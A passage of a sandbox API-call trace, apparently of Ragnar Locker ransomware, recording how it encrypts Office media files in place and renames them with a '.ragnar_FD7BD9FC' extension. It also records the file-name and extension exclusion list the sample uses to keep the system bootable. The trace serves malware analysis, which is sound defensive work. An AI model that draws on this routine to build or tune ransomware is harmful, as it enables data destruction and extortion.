lpString2="bootsect.bak") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="bootmgr") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="bootmgr.efi") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="desktop.ini") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="iconcache.db") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="ntldr") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="ntuser.dat") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="ntuser.ini") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="thumbs.db") returned -1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.853] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf")) returned 0x20 [0096.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.855] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5166) returned 1 [0096.855] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1425, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.855] GetProcessHeap () returned 0x580000 [0096.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.855] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.858] VirtualAlloc (lpAddress=0x0, dwSize=0x142e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.863] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x142e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x142e, lpOverlapped=0x0) returned 1 [0097.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.095] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x142e, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.095] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x142e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x142e, lpOverlapped=0x0) returned 1 [0097.095] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x142e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.095] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x142e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.096] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.096] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.096] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.096] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.096] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.096] GetProcessHeap () returned 0x580000 [0097.096] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.096] CloseHandle (hObject=0xf4) returned 1 [0097.096] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" [0097.096] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.ragnar_FD7BD9FC" [0097.096] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.098] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0097.098] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.098] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18251_.WMF" | out: lpString1="BD18251_.WMF") returned="BD18251_.WMF" [0097.098] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF") returned=".WMF" [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="autorun.inf") returned 1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="boot.ini") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="bootfont.bin") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="bootsect.bak") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="bootmgr") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="bootmgr.efi") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="desktop.ini") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="iconcache.db") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="ntldr") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="ntuser.dat") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="ntuser.ini") returned -1 [0097.098] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="thumbs.db") returned -1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.098] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf")) returned 0x20 [0097.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.099] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2316) returned 1 [0097.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.099] GetProcessHeap () returned 0x580000 [0097.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.099] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.282] VirtualAlloc (lpAddress=0x0, dwSize=0x90c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.283] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x90c, lpOverlapped=0x0) returned 1 [0097.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.283] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x90c, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.283] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x90c, lpOverlapped=0x0) returned 1 [0097.283] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x90c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.283] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x90c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.283] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.283] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.284] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.284] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.284] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.284] GetProcessHeap () returned 0x580000 [0097.284] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.284] CloseHandle (hObject=0xf4) returned 1 [0097.284] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" [0097.284] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.ragnar_FD7BD9FC" [0097.284] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.285] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0097.285] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.285] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18252_.WMF" | out: lpString1="BD18252_.WMF") returned="BD18252_.WMF" [0097.285] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF") returned=".WMF" [0097.285] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="autorun.inf") returned 1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="boot.ini") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="bootfont.bin") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="bootsect.bak") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="bootmgr") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="bootmgr.efi") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="desktop.ini") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="iconcache.db") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="ntldr") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="ntuser.dat") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="ntuser.ini") returned -1 [0097.286] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="thumbs.db") returned -1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.286] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf")) returned 0x20 [0097.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.287] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1878) returned 1 [0097.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x74d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.287] GetProcessHeap () returned 0x580000 [0097.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.287] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.313] VirtualAlloc (lpAddress=0x0, dwSize=0x756, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.313] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x756, lpOverlapped=0x0) returned 1 [0097.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.313] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x756, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.314] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x756, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x756, lpOverlapped=0x0) returned 1 [0097.314] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x756, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.314] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x756, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.314] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.314] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.314] GetProcessHeap () returned 0x580000 [0097.314] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.314] CloseHandle (hObject=0xf4) returned 1 [0097.314] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" [0097.314] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.ragnar_FD7BD9FC" [0097.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.316] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0097.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.316] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18253_.WMF" | out: lpString1="BD18253_.WMF") returned="BD18253_.WMF" [0097.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF") returned=".WMF" [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="autorun.inf") returned 1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="boot.ini") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="bootfont.bin") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="bootsect.bak") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="bootmgr") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="bootmgr.efi") returned -1 [0097.316] lstrcmpiW 